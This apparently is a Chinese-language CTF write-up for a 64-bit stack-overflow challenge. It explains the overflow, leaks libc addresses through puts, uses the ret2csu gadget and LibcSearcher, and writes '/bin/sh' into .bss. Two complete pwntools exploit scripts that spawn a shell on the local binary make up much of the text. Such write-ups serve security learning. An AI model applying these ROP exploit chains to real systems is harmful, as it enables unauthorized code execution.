这题是比较基础的构造ROP链也比较典型,本菜鸡学了受益匪浅(っ °Д °;)っ
0x1 checksec + file
0x2 拖进ida分析程序:
显然应该进sub_40068E里看看:
鸭儿,继续进sub_40063D(v1,200):
这里就是一个for循环,每次向 i + a1(即:i + v1)所指的内存读取输入1个字节,i 不能大于200
貌似无懈可击,返回去查看v1所在栈空间大小:
只有0x40 小于 200故存在栈溢出
0x3 寻找system和/bin/sh
无~~ 故需要进行泄露
0x4 确定泄露函数及方法
发现存在puts和read函数,可以用于泄露地址
其次程序段中已经存在read(0, (void *)i + v1, 1ull),可就地取材
此方法可减少对于pop ret的gadget的使用,但是可能会造成确定libc时候候选较多,需要多次尝试
0x5 标准方法:利用万能gadget:(学习请参考:https://xz.aliyun.com/t/5597)
由:
可看出只要rbx和rbp不相同就会跳转回去循环,这是我们不允许的,我们需要控制程序流ret到我们需要的地方去,故预先设置rbx=0,rbp=1即可让程序继续执行我们构造的ROP链。故可以构造payload1=‘a’*0x48+p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) 泄露puts的地址,从而确定libc和libcbase
经过查找发现不存在/bin/sh,需要自己写入,gdb中vmmap发现0x601000为基址的地址可写,到ida查找,选择0x601040进行写入~
exp如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = process('./pwn')
elf = ELF('./pwn')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read_got = elf.got['read']
read_plt = elf.plt['read']
pop_rdi = 0x0000000000400763
pop6 = 0x040075A
mov3 = 0x0400740
main = 0x0400550
#leak puts_addr
payload1 = 'a'*0x48 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
payload1 = payload1.ljust(200, 'b')
p.send(payload1)
p.recvuntil('bye~\x0a')
puts_addr = u64(p.recvuntil('\x0a')[:-1].ljust(8, '\x00'))
print hex(puts_addr)
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
#write /bin/sh in .bss
payload2 = 'a'*0x48 + p64(pop6) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(0x601040) + p64(0)
payload2 += p64(mov3) + 'a'*56 + p64(main) #此处56=7*8,mov3执行完按照顺序就返回到了pop6的位置,而pop6占7行,64位每行8字节,用56个覆盖后才能布置返回地址为_start
payload2 = payload2.ljust(200, 'b')
p.send(payload2)
p.recvuntil('bye~\x0a')
p.send('/bin/sh\0')
#pause()
#get shell
print 'get shell:'
payload3 = 'a'*0x48 + p64(0x04006FF) + p64(pop_rdi) + p64(0x601040) + p64(system_addr) + p64(0xdeadbeef) #这里千万记得64位要进行堆栈平衡!!!又被坑了一次。。。网上的wp就没堆栈平衡
payload3 = payload3.ljust(200, 'b')
p.send(payload3)
p.interactive()
0x6就地取材:(参考https://blog.csdn.net/weixin_42151611/article/details/91474574)
寄存器 rdi 中存放的是写入的地址,rsi 是写入的字节数,所以可以通过
pop rdi; ret
pop rsi; pop r15; ret
来控制写入
exp如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
io = process('./pwn')
readn = 0x40063D
start = 0x40068E
read_got = 0x601028
put_plt = 0x400500
put_got = 0x601018
length = 0x40
max_length = 200
bss = 0x601040
pop_rdi = 0x0000000000400763
pop_rsi_r15 = 0x0000000000400761
def stageone():
payload = 'A'*length+"AAAAAAAA"+p64(pop_rdi)+p64(read_got) #pop_rdi后紧接read_got,就把read_got传入了rdi,作为参数
payload += p64(put_plt)+p64(pop_rdi)+p64(bss) #上一行执行ret的时候就跳转到puts_plt,执行到现在就类似于执行了一个puts(read_got)
payload += p64(pop_rsi_r15)+p64(7)+p64(0)+p64(readn)+p64(start) #这一行也类似,上一行把bss的地址pop入rdi,然后把7pop入rsi,然后执行readn,就类似于执行了readn(bss,7)
payload += "A"*(max_length-len(payload)) #这里就是填充
io.send(payload)
sleep(1)
io.send("/bin/sh") #payload送出去以后,会先puts,然后执行readn(bss,7),所以就要再送入/bin/sh字符串
print io.recvuntil("bye~")
return u64(io.recv()[1:-1].ljust(8,'\0'))
read_addr = stageone()
print "read address: ", hex(read_addr)
libc = LibcSearcher("read",read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
print "system address: ",hex(system_addr)
def stagetwo():
payload = 'A'*length+"AAAAAAAA"+p64(0x04006FF)+p64(pop_rdi)+p64(bss) #将bss的地址即/bin/sh字符串的地址传给rdi作为第一个参数,然后直接执行system,就相当于执行了system("/bin/sh"),然后getshell
payload += p64(system_addr)+p64(start)
payload += "A"*(max_length-len(payload))
io.send(payload)
stagetwo()
io.interactive()
0x7 对比一下libcsearcher的结果:
方法一:
方法二:
但是大佬说有经验的话可以直接看出第二个选6…菜鸡只好都选一遍啦 ( ఠൠఠ )ノ